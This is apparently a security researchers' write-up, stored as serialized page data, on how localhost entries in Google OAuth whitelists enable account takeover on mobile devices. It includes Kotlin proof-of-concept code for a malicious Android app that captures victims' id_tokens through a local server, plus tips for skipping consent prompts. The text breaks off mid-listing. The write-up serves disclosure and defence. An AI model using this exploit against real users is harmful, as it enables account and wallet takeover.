Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[28716,28715],{"src":97240,"width":94800,"height":11111},"/posts/oauth-misconfigurations/title.png",[97242,97243],"oAuth","exchanges",{"type":20,"children":97245,"toc":99562},[97246,97252,97257,97263,97283,97289,97294,97307,97312,97320,97334,97343,97352,97366,97374,97385,97445,97451,97463,97512,97518,97523,97536,97543,97554,97574,97593,97614,97620,97633,97638,97644,97663,98288,98293,98306,99167,99172,99177,99183,99188,99194,99199,99212,99252,99258,99271,99276,99309,99314,99319,99344,99349,99361,99518,99523,99527,99539,99544,99548,99553,99558],{"type":23,"tag":31,"props":97247,"children":97249},{"id":97248},"exploiting-oauth",[97250],{"type":28,"value":97251},"Exploiting OAuth",{"type":23,"tag":24,"props":97253,"children":97254},{},[97255],{"type":28,"value":97256},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":7092,"props":97258,"children":97260},{"id":97259},"google-authentication-flows",[97261],{"type":28,"value":97262},"Google Authentication Flows",{"type":23,"tag":24,"props":97264,"children":97265},{},[97266,97268,97274,97276,97281],{"type":28,"value":97267},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":64,"props":97269,"children":97271},{"className":97270},[],[97272],{"type":28,"value":97273},"postMessage",{"type":28,"value":97275}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":64,"props":97277,"children":97279},{"className":97278},[],[97280],{"type":28,"value":67295},{"type":28,"value":97282}," to send the token back to the RP.",{"type":23,"tag":16388,"props":97284,"children":97286},{"id":97285},"gsi-new-flow",[97287],{"type":28,"value":97288},"GSI (New Flow)",{"type":23,"tag":24,"props":97290,"children":97291},{},[97292],{"type":28,"value":97293},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":14178,"props":97295,"children":97296},{},[97297,97302],{"type":23,"tag":77,"props":97298,"children":97299},{},[97300],{"type":28,"value":97301},"Using FedCM API",{"type":23,"tag":77,"props":97303,"children":97304},{},[97305],{"type":28,"value":97306},"Without using FedCM API",{"type":23,"tag":24,"props":97308,"children":97309},{},[97310],{"type":28,"value":97311},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":24,"props":97313,"children":97314},{},[97315],{"type":23,"tag":2875,"props":97316,"children":97317},{},[97318],{"type":28,"value":97319},"FedCM Method",{"type":23,"tag":24,"props":97321,"children":97322},{},[97323,97325,97332],{"type":28,"value":97324},"The FedCM method basically follows this ",{"type":23,"tag":190,"props":97326,"children":97329},{"href":97327,"rel":97328},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[194],[97330],{"type":28,"value":97331},"user experience",{"type":28,"value":97333},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":24,"props":97335,"children":97336},{},[97337,97339],{"type":28,"value":97338},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":149,"props":97340,"children":97342},{"alt":48104,"src":97341},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":24,"props":97344,"children":97345},{},[97346,97348],{"type":28,"value":97347},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":149,"props":97349,"children":97351},{"alt":48104,"src":97350},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":24,"props":97353,"children":97354},{},[97355,97357,97364],{"type":28,"value":97356},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":190,"props":97358,"children":97361},{"href":97359,"rel":97360},"https://github.com/w3c-fedid/FedCM/issues/429",[194],[97362],{"type":28,"value":97363},"FedCM auto-reauthentication",{"type":28,"value":97365},", which has certain preconditions that must be met.",{"type":23,"tag":24,"props":97367,"children":97368},{},[97369],{"type":23,"tag":2875,"props":97370,"children":97371},{},[97372],{"type":28,"value":97373},"Non-FedCM Method",{"type":23,"tag":24,"props":97375,"children":97376},{},[97377,97379,97384],{"type":28,"value":97378},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":64,"props":97380,"children":97382},{"className":97381},[],[97383],{"type":28,"value":97273},{"type":28,"value":287},{"type":23,"tag":73,"props":97386,"children":97387},{},[97388,97393,97417,97422,97433],{"type":23,"tag":77,"props":97389,"children":97390},{},[97391],{"type":28,"value":97392},"The user clicks the sign in button",{"type":23,"tag":77,"props":97394,"children":97395},{},[97396,97398,97404,97406,97411,97412],{"type":28,"value":97397},"RP opens a popup/iframe to ",{"type":23,"tag":190,"props":97399,"children":97402},{"href":97400,"rel":97401},"https://accounts.google.com/o/oauth2/v2/auth",[194],[97403],{"type":28,"value":97400},{"type":28,"value":97405}," with some important parameters like ",{"type":23,"tag":64,"props":97407,"children":97409},{"className":97408},[],[97410],{"type":28,"value":67127},{"type":28,"value":8478},{"type":23,"tag":64,"props":97413,"children":97415},{"className":97414},[],[97416],{"type":28,"value":37654},{"type":23,"tag":77,"props":97418,"children":97419},{},[97420],{"type":28,"value":97421},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":77,"props":97423,"children":97424},{},[97425,97427],{"type":28,"value":97426},"They get redirected to ",{"type":23,"tag":190,"props":97428,"children":97431},{"href":97429,"rel":97430},"https://accounts.google.com/gsi/transform",[194],[97432],{"type":28,"value":97429},{"type":23,"tag":77,"props":97434,"children":97435},{},[97436,97438,97443],{"type":28,"value":97437},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":64,"props":97439,"children":97441},{"className":97440},[],[97442],{"type":28,"value":97273},{"type":28,"value":97444}," (after some SYN/ACK messages)",{"type":23,"tag":16388,"props":97446,"children":97448},{"id":97447},"oauth-20-old-flow",[97449],{"type":28,"value":97450},"OAuth 2.0 Old Flow",{"type":23,"tag":24,"props":97452,"children":97453},{},[97454,97456,97461],{"type":28,"value":97455},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":64,"props":97457,"children":97459},{"className":97458},[],[97460],{"type":28,"value":67295},{"type":28,"value":97462}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":73,"props":97464,"children":97465},{},[97466,97470,97491,97495],{"type":23,"tag":77,"props":97467,"children":97468},{},[97469],{"type":28,"value":97392},{"type":23,"tag":77,"props":97471,"children":97472},{},[97473,97474,97479,97480,97485,97486],{"type":28,"value":97397},{"type":23,"tag":190,"props":97475,"children":97477},{"href":97400,"rel":97476},[194],[97478],{"type":28,"value":97400},{"type":28,"value":97405},{"type":23,"tag":64,"props":97481,"children":97483},{"className":97482},[],[97484],{"type":28,"value":67127},{"type":28,"value":8478},{"type":23,"tag":64,"props":97487,"children":97489},{"className":97488},[],[97490],{"type":28,"value":67295},{"type":23,"tag":77,"props":97492,"children":97493},{},[97494],{"type":28,"value":97421},{"type":23,"tag":77,"props":97496,"children":97497},{},[97498,97499,97504,97506],{"type":28,"value":97426},{"type":23,"tag":64,"props":97500,"children":97502},{"className":97501},[],[97503],{"type":28,"value":67295},{"type":28,"value":97505}," with the token in the query parameters or ",{"type":23,"tag":64,"props":97507,"children":97509},{"className":97508},[],[97510],{"type":28,"value":97511},"location.hash",{"type":23,"tag":16388,"props":97513,"children":97515},{"id":97514},"different-configurations",[97516],{"type":28,"value":97517},"Different Configurations",{"type":23,"tag":24,"props":97519,"children":97520},{},[97521],{"type":28,"value":97522},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":14178,"props":97524,"children":97525},{},[97526,97531],{"type":23,"tag":77,"props":97527,"children":97528},{},[97529],{"type":28,"value":97530},"Authorized origins",{"type":23,"tag":77,"props":97532,"children":97533},{},[97534],{"type":28,"value":97535},"Authorized redirect URIs",{"type":23,"tag":24,"props":97537,"children":97538},{},[97539],{"type":23,"tag":149,"props":97540,"children":97542},{"alt":48104,"src":97541},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":24,"props":97544,"children":97545},{},[97546,97548,97553],{"type":28,"value":97547},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":64,"props":97549,"children":97551},{"className":97550},[],[97552],{"type":28,"value":67127},{"type":28,"value":199},{"type":23,"tag":24,"props":97555,"children":97556},{},[97557,97559,97565,97567,97572],{"type":28,"value":97558},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":64,"props":97560,"children":97562},{"className":97561},[],[97563],{"type":28,"value":97564},"/oauth2/v2/auth",{"type":28,"value":97566}," by checking the ",{"type":23,"tag":64,"props":97568,"children":97570},{"className":97569},[],[97571],{"type":28,"value":37654},{"type":28,"value":97573}," query parameter.",{"type":23,"tag":24,"props":97575,"children":97576},{},[97577,97579,97584,97586,97591],{"type":28,"value":97578},"In the old flow, the ",{"type":23,"tag":64,"props":97580,"children":97582},{"className":97581},[],[97583],{"type":28,"value":67295},{"type":28,"value":97585}," parameter passed in the ",{"type":23,"tag":64,"props":97587,"children":97589},{"className":97588},[],[97590],{"type":28,"value":97564},{"type":28,"value":97592}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":24,"props":97594,"children":97595},{},[97596,97598,97603,97605,97612],{"type":28,"value":97597},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":64,"props":97599,"children":97601},{"className":97600},[],[97602],{"type":28,"value":67295},{"type":28,"value":97604}," validation. To execute this flow, you need to specify ",{"type":23,"tag":190,"props":97606,"children":97609},{"href":97607,"rel":97608},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[194],[97610],{"type":28,"value":97611},"login_uri",{"type":28,"value":97613}," while using the SDK.",{"type":23,"tag":7092,"props":97615,"children":97617},{"id":97616},"localhost-exploit",[97618],{"type":28,"value":97619},"Localhost Exploit",{"type":23,"tag":24,"props":97621,"children":97622},{},[97623,97625,97631],{"type":28,"value":97624},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":64,"props":97626,"children":97628},{"className":97627},[],[97629],{"type":28,"value":97630},"localhost",{"type":28,"value":97632}," origin because it is considered trusted for local testing.",{"type":23,"tag":24,"props":97634,"children":97635},{},[97636],{"type":28,"value":97637},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":16388,"props":97639,"children":97641},{"id":97640},"exploit",[97642],{"type":28,"value":97643},"Exploit",{"type":23,"tag":24,"props":97645,"children":97646},{},[97647,97649,97654,97655,97661],{"type":28,"value":97648},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":64,"props":97650,"children":97652},{"className":97651},[],[97653],{"type":28,"value":97511},{"type":28,"value":10621},{"type":23,"tag":64,"props":97656,"children":97658},{"className":97657},[],[97659],{"type":28,"value":97660},"location.search",{"type":28,"value":97662},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":435,"props":97664,"children":97668},{"className":97665,"code":97666,"language":97667,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[97669],{"type":23,"tag":64,"props":97670,"children":97671},{"__ignoreMap":7},[97672,97701,97720,97727,97734,97753,97764,97775,97806,97829,97876,97883,97890,97897,97904,97924,97955,97966,97973,97980,97999,98022,98033,98052,98067,98078,98101,98136,98155,98162,98173,98196,98207,98219,98226,98233,98240,98247,98254,98281],{"type":23,"tag":481,"props":97673,"children":97674},{"class":483,"line":484},[97675,97680,97684,97688,97692,97696],{"type":23,"tag":481,"props":97676,"children":97677},{"style":497},[97678],{"type":28,"value":97679}," override",{"type":23,"tag":481,"props":97681,"children":97682},{"style":497},[97683],{"type":28,"value":3684},{"type":23,"tag":481,"props":97685,"children":97686},{"style":610},[97687],{"type":28,"value":67983},{"type":23,"tag":481,"props":97689,"children":97690},{"style":525},[97691],{"type":28,"value":67988},{"type":23,"tag":481,"props":97693,"children":97694},{"style":943},[97695],{"type":28,"value":67993},{"type":23,"tag":481,"props":97697,"children":97698},{"style":525},[97699],{"type":28,"value":97700},"?){\n",{"type":23,"tag":481,"props":97702,"children":97703},{"class":483,"line":351},[97704,97708,97712,97716],{"type":23,"tag":481,"props":97705,"children":97706},{"style":497},[97707],{"type":28,"value":68006},{"type":23,"tag":481,"props":97709,"children":97710},{"style":525},[97711],{"type":28,"value":199},{"type":23,"tag":481,"props":97713,"children":97714},{"style":610},[97715],{"type":28,"value":68015},{"type":23,"tag":481,"props":97717,"children":97718},{"style":525},[97719],{"type":28,"value":68020},{"type":23,"tag":481,"props":97721,"children":97722},{"class":483,"line":531},[97723],{"type":23,"tag":481,"props":97724,"children":97725},{"emptyLinePlaceholder":15},[97726],{"type":28,"value":1210},{"type":23,"tag":481,"props":97728,"children":97729},{"class":483,"line":567},[97730],{"type":23,"tag":481,"props":97731,"children":97732},{"style":488},[97733],{"type":28,"value":68035},{"type":23,"tag":481,"props":97735,"children":97736},{"class":483,"line":678},[97737,97741,97745,97749],{"type":23,"tag":481,"props":97738,"children":97739},{"style":610},[97740],{"type":28,"value":68043},{"type":23,"tag":481,"props":97742,"children":97743},{"style":525},[97744],{"type":28,"value":68048},{"type":23,"tag":481,"props":97746,"children":97747},{"style":610},[97748],{"type":28,"value":68053},{"type":23,"tag":481,"props":97750,"children":97751},{"style":525},[97752],{"type":28,"value":809},{"type":23,"tag":481,"props":97754,"children":97755},{"class":483,"line":784},[97756,97760],{"type":23,"tag":481,"props":97757,"children":97758},{"style":535},[97759],{"type":28,"value":68065},{"type":23,"tag":481,"props":97761,"children":97762},{"style":525},[97763],{"type":28,"value":809},{"type":23,"tag":481,"props":97765,"children":97766},{"class":483,"line":812},[97767,97771],{"type":23,"tag":481,"props":97768,"children":97769},{"style":610},[97770],{"type":28,"value":68077},{"type":23,"tag":481,"props":97772,"children":97773},{"style":525},[97774],{"type":28,"value":5214},{"type":23,"tag":481,"props":97776,"children":97777},{"class":483,"line":825},[97778,97782,97786,97790,97794,97798,97802],{"type":23,"tag":481,"props":97779,"children":97780},{"style":525},[97781],{"type":28,"value":68089},{"type":23,"tag":481,"props":97783,"children":97784},{"style":610},[97785],{"type":28,"value":68094},{"type":23,"tag":481,"props":97787,"children":97788},{"style":525},[97789],{"type":28,"value":618},{"type":23,"tag":481,"props":97791,"children":97792},{"style":1805},[97793],{"type":28,"value":68103},{"type":23,"tag":481,"props":97795,"children":97796},{"style":525},[97797],{"type":28,"value":588},{"type":23,"tag":481,"props":97799,"children":97800},{"style":1805},[97801],{"type":28,"value":68112},{"type":23,"tag":481,"props":97803,"children":97804},{"style":525},[97805],{"type":28,"value":675},{"type":23,"tag":481,"props":97807,"children":97808},{"class":483,"line":843},[97809,97813,97817,97821,97825],{"type":23,"tag":481,"props":97810,"children":97811},{"style":525},[97812],{"type":28,"value":68124},{"type":23,"tag":481,"props":97814,"children":97815},{"style":497},[97816],{"type":28,"value":45936},{"type":23,"tag":481,"props":97818,"children":97819},{"style":525},[97820],{"type":28,"value":68133},{"type":23,"tag":481,"props":97822,"children":97823},{"style":943},[97824],{"type":28,"value":68138},{"type":23,"tag":481,"props":97826,"children":97827},{"style":525},[97828],{"type":28,"value":12292},{"type":23,"tag":481,"props":97830,"children":97831},{"class":483,"line":864},[97832,97836,97840,97844,97848,97852,97856,97860,97864,97868,97872],{"type":23,"tag":481,"props":97833,"children":97834},{"style":525},[97835],{"type":28,"value":68089},{"type":23,"tag":481,"props":97837,"children":97838},{"style":610},[97839],{"type":28,"value":48980},{"type":23,"tag":481,"props":97841,"children":97842},{"style":525},[97843],{"type":28,"value":618},{"type":23,"tag":481,"props":97845,"children":97846},{"style":1805},[97847],{"type":28,"value":68103},{"type":23,"tag":481,"props":97849,"children":97850},{"style":525},[97851],{"type":28,"value":588},{"type":23,"tag":481,"props":97853,"children":97854},{"style":1805},[97855],{"type":28,"value":68170},{"type":23,"tag":481,"props":97857,"children":97858},{"style":497},[97859],{"type":28,"value":31625},{"type":23,"tag":481,"props":97861,"children":97862},{"style":514},[97863],{"type":28,"value":68179},{"type":23,"tag":481,"props":97865,"children":97866},{"style":497},[97867],{"type":28,"value":31657},{"type":23,"tag":481,"props":97869,"children":97870},{"style":1805},[97871],{"type":28,"value":17557},{"type":23,"tag":481,"props":97873,"children":97874},{"style":525},[97875],{"type":28,"value":68192},{"type":23,"tag":481,"props":97877,"children":97878},{"class":483,"line":873},[97879],{"type":23,"tag":481,"props":97880,"children":97881},{"style":525},[97882],{"type":28,"value":56412},{"type":23,"tag":481,"props":97884,"children":97885},{"class":483,"line":1125},[97886],{"type":23,"tag":481,"props":97887,"children":97888},{"style":525},[97889],{"type":28,"value":870},{"type":23,"tag":481,"props":97891,"children":97892},{"class":483,"line":1142},[97893],{"type":23,"tag":481,"props":97894,"children":97895},{"emptyLinePlaceholder":15},[97896],{"type":28,"value":1210},{"type":23,"tag":481,"props":97898,"children":97899},{"class":483,"line":1159},[97900],{"type":23,"tag":481,"props":97901,"children":97902},{"style":488},[97903],{"type":28,"value":68221},{"type":23,"tag":481,"props":97905,"children":97906},{"class":483,"line":1172},[97907,97911,97915,97919],{"type":23,"tag":481,"props":97908,"children":97909},{"style":497},[97910],{"type":28,"value":68229},{"type":23,"tag":481,"props":97912,"children":97913},{"style":525},[97914],{"type":28,"value":68234},{"type":23,"tag":481,"props":97916,"children":97917},{"style":514},[97918],{"type":28,"value":603},{"type":23,"tag":481,"props":97920,"children":97921},{"style":1805},[97922],{"type":28,"value":97923}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":481,"props":97925,"children":97926},{"class":483,"line":1181},[97927,97931,97935,97939,97943,97947,97951],{"type":23,"tag":481,"props":97928,"children":97929},{"style":497},[97930],{"type":28,"value":68229},{"type":23,"tag":481,"props":97932,"children":97933},{"style":525},[97934],{"type":28,"value":68255},{"type":23,"tag":481,"props":97936,"children":97937},{"style":514},[97938],{"type":28,"value":603},{"type":23,"tag":481,"props":97940,"children":97941},{"style":610},[97942],{"type":28,"value":68264},{"type":23,"tag":481,"props":97944,"children":97945},{"style":525},[97946],{"type":28,"value":68269},{"type":23,"tag":481,"props":97948,"children":97949},{"style":610},[97950],{"type":28,"value":36730},{"type":23,"tag":481,"props":97952,"children":97953},{"style":525},[97954],{"type":28,"value":68278},{"type":23,"tag":481,"props":97956,"children":97957},{"class":483,"line":1204},[97958,97962],{"type":23,"tag":481,"props":97959,"children":97960},{"style":610},[97961],{"type":28,"value":68286},{"type":23,"tag":481,"props":97963,"children":97964},{"style":525},[97965],{"type":28,"value":68291},{"type":23,"tag":481,"props":97967,"children":97968},{"class":483,"line":1213},[97969],{"type":23,"tag":481,"props":97970,"children":97971},{"style":525},[97972],{"type":28,"value":879},{"type":23,"tag":481,"props":97974,"children":97975},{"class":483,"line":1222},[97976],{"type":23,"tag":481,"props":97977,"children":97978},{"emptyLinePlaceholder":15},[97979],{"type":28,"value":1210},{"type":23,"tag":481,"props":97981,"children":97982},{"class":483,"line":1291},[97983,97987,97991,97995],{"type":23,"tag":481,"props":97984,"children":97985},{"style":497},[97986],{"type":28,"value":68313},{"type":23,"tag":481,"props":97988,"children":97989},{"style":497},[97990],{"type":28,"value":3684},{"type":23,"tag":481,"props":97992,"children":97993},{"style":610},[97994],{"type":28,"value":68322},{"type":23,"tag":481,"props":97996,"children":97997},{"style":525},[97998],{"type":28,"value":13226},{"type":23,"tag":481,"props":98000,"children":98001},{"class":483,"line":1299},[98002,98006,98010,98014,98018],{"type":23,"tag":481,"props":98003,"children":98004},{"style":610},[98005],{"type":28,"value":68334},{"type":23,"tag":481,"props":98007,"children":98008},{"style":525},[98009],{"type":28,"value":68339},{"type":23,"tag":481,"props":98011,"children":98012},{"style":514},[98013],{"type":28,"value":603},{"type":23,"tag":481,"props":98015,"children":98016},{"style":551},[98017],{"type":28,"value":68348},{"type":23,"tag":481,"props":98019,"children":98020},{"style":525},[98021],{"type":28,"value":12292},{"type":23,"tag":481,"props":98023,"children":98024},{"class":483,"line":1329},[98025,98029],{"type":23,"tag":481,"props":98026,"children":98027},{"style":610},[98028],{"type":28,"value":68360},{"type":23,"tag":481,"props":98030,"children":98031},{"style":525},[98032],{"type":28,"value":809},{"type":23,"tag":481,"props":98034,"children":98035},{"class":483,"line":1337},[98036,98040,98044,98048],{"type":23,"tag":481,"props":98037,"children":98038},{"style":497},[98039],{"type":28,"value":68372},{"type":23,"tag":481,"props":98041,"children":98042},{"style":525},[98043],{"type":28,"value":618},{"type":23,"tag":481,"props":98045,"children":98046},{"style":1805},[98047],{"type":28,"value":68381},{"type":23,"tag":481,"props":98049,"children":98050},{"style":525},[98051],{"type":28,"value":12292},{"type":23,"tag":481,"props":98053,"children":98054},{"class":483,"line":1369},[98055,98059,98063],{"type":23,"tag":481,"props":98056,"children":98057},{"style":525},[98058],{"type":28,"value":68393},{"type":23,"tag":481,"props":98060,"children":98061},{"style":610},[98062],{"type":28,"value":68398},{"type":23,"tag":481,"props":98064,"children":98065},{"style":525},[98066],{"type":28,"value":809},{"type":23,"tag":481,"props":98068,"children":98069},{"class":483,"line":1377},[98070,98074],{"type":23,"tag":481,"props":98071,"children":98072},{"style":610},[98073],{"type":28,"value":68410},{"type":23,"tag":481,"props":98075,"children":98076},{"style":525},[98077],{"type":28,"value":809},{"type":23,"tag":481,"props":98079,"children":98080},{"class":483,"line":1437},[98081,98085,98089,98093,98097],{"type":23,"tag":481,"props":98082,"children":98083},{"style":610},[98084],{"type":28,"value":68422},{"type":23,"tag":481,"props":98086,"children":98087},{"style":525},[98088],{"type":28,"value":68427},{"type":23,"tag":481,"props":98090,"children":98091},{"style":514},[98092],{"type":28,"value":603},{"type":23,"tag":481,"props":98094,"children":98095},{"style":1805},[98096],{"type":28,"value":68436},{"type":23,"tag":481,"props":98098,"children":98099},{"style":525},[98100],{"type":28,"value":675},{"type":23,"tag":481,"props":98102,"children":98103},{"class":483,"line":6528},[98104,98108,98112,98116,98120,98124,98128,98132],{"type":23,"tag":481,"props":98105,"children":98106},{"style":610},[98107],{"type":28,"value":68422},{"type":23,"tag":481,"props":98109,"children":98110},{"style":525},[98111],{"type":28,"value":68452},{"type":23,"tag":481,"props":98113,"children":98114},{"style":514},[98115],{"type":28,"value":603},{"type":23,"tag":481,"props":98117,"children":98118},{"style":1805},[98119],{"type":28,"value":68461},{"type":23,"tag":481,"props":98121,"children":98122},{"style":525},[98123],{"type":28,"value":68466},{"type":23,"tag":481,"props":98125,"children":98126},{"style":514},[98127],{"type":28,"value":603},{"type":23,"tag":481,"props":98129,"children":98130},{"style":1805},[98131],{"type":28,"value":68475},{"type":23,"tag":481,"props":98133,"children":98134},{"style":525},[98135],{"type":28,"value":675},{"type":23,"tag":481,"props":98137,"children":98138},{"class":483,"line":6546},[98139,98143,98147,98151],{"type":23,"tag":481,"props":98140,"children":98141},{"style":610},[98142],{"type":28,"value":68487},{"type":23,"tag":481,"props":98144,"children":98145},{"style":525},[98146],{"type":28,"value":618},{"type":23,"tag":481,"props":98148,"children":98149},{"style":1805},[98150],{"type":28,"value":68496},{"type":23,"tag":481,"props":98152,"children":98153},{"style":525},[98154],{"type":28,"value":675},{"type":23,"tag":481,"props":98156,"children":98157},{"class":483,"line":6591},[98158],{"type":23,"tag":481,"props":98159,"children":98160},{"style":525},[98161],{"type":28,"value":68508},{"type":23,"tag":481,"props":98163,"children":98164},{"class":483,"line":6697},[98165,98169],{"type":23,"tag":481,"props":98166,"children":98167},{"style":610},[98168],{"type":28,"value":68516},{"type":23,"tag":481,"props":98170,"children":98171},{"style":525},[98172],{"type":28,"value":809},{"type":23,"tag":481,"props":98174,"children":98175},{"class":483,"line":21008},[98176,98180,98184,98188,98192],{"type":23,"tag":481,"props":98177,"children":98178},{"style":610},[98179],{"type":28,"value":68528},{"type":23,"tag":481,"props":98181,"children":98182},{"style":525},[98183],{"type":28,"value":7069},{"type":23,"tag":481,"props":98185,"children":98186},{"style":514},[98187],{"type":28,"value":1930},{"type":23,"tag":481,"props":98189,"children":98190},{"style":1805},[98191],{"type":28,"value":68541},{"type":23,"tag":481,"props":98193,"children":98194},{"style":525},[98195],{"type":28,"value":7079},{"type":23,"tag":481,"props":98197,"children":98198},{"class":483,"line":21043},[98199,98203],{"type":23,"tag":481,"props":98200,"children":98201},{"style":610},[98202],{"type":28,"value":68553},{"type":23,"tag":481,"props":98204,"children":98205},{"style":525},[98206],{"type":28,"value":809},{"type":23,"tag":481,"props":98208,"children":98209},{"class":483,"line":21051},[98210,98214],{"type":23,"tag":481,"props":98211,"children":98212},{"style":514},[98213],{"type":28,"value":68565},{"type":23,"tag":481,"props":98215,"children":98216},{"style":1805},[98217],{"type":28,"value":98218},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":481,"props":98220,"children":98221},{"class":483,"line":21059},[98222],{"type":23,"tag":481,"props":98223,"children":98224},{"style":525},[98225],{"type":28,"value":68578},{"type":23,"tag":481,"props":98227,"children":98228},{"class":483,"line":21068},[98229],{"type":23,"tag":481,"props":98230,"children":98231},{"style":525},[98232],{"type":28,"value":68508},{"type":23,"tag":481,"props":98234,"children":98235},{"class":483,"line":21110},[98236],{"type":23,"tag":481,"props":98237,"children":98238},{"style":525},[98239],{"type":28,"value":68593},{"type":23,"tag":481,"props":98241,"children":98242},{"class":483,"line":21143},[98243],{"type":23,"tag":481,"props":98244,"children":98245},{"style":525},[98246],{"type":28,"value":68601},{"type":23,"tag":481,"props":98248,"children":98249},{"class":483,"line":21151},[98250],{"type":23,"tag":481,"props":98251,"children":98252},{"style":525},[98253],{"type":28,"value":56412},{"type":23,"tag":481,"props":98255,"children":98256},{"class":483,"line":21159},[98257,98261,98265,98269,98273,98277],{"type":23,"tag":481,"props":98258,"children":98259},{"style":525},[98260],{"type":28,"value":68616},{"type":23,"tag":481,"props":98262,"children":98263},{"style":610},[98264],{"type":28,"value":68621},{"type":23,"tag":481,"props":98266,"children":98267},{"style":525},[98268],{"type":28,"value":68626},{"type":23,"tag":481,"props":98270,"children":98271},{"style":514},[98272],{"type":28,"value":603},{"type":23,"tag":481,"props":98274,"children":98275},{"style":497},[98276],{"type":28,"value":9956},{"type":23,"tag":481,"props":98278,"children":98279},{"style":525},[98280],{"type":28,"value":675},{"type":23,"tag":481,"props":98282,"children":98283},{"class":483,"line":21168},[98284],{"type":23,"tag":481,"props":98285,"children":98286},{"style":525},[98287],{"type":28,"value":879},{"type":23,"tag":24,"props":98289,"children":98290},{},[98291],{"type":28,"value":98292},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":24,"props":98294,"children":98295},{},[98296,98298,98304],{"type":28,"value":98297},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":64,"props":98299,"children":98301},{"className":98300},[],[98302],{"type":28,"value":98303},"auto_select",{"type":28,"value":98305}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":435,"props":98307,"children":98309},{"className":97665,"code":98308,"language":97667,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script 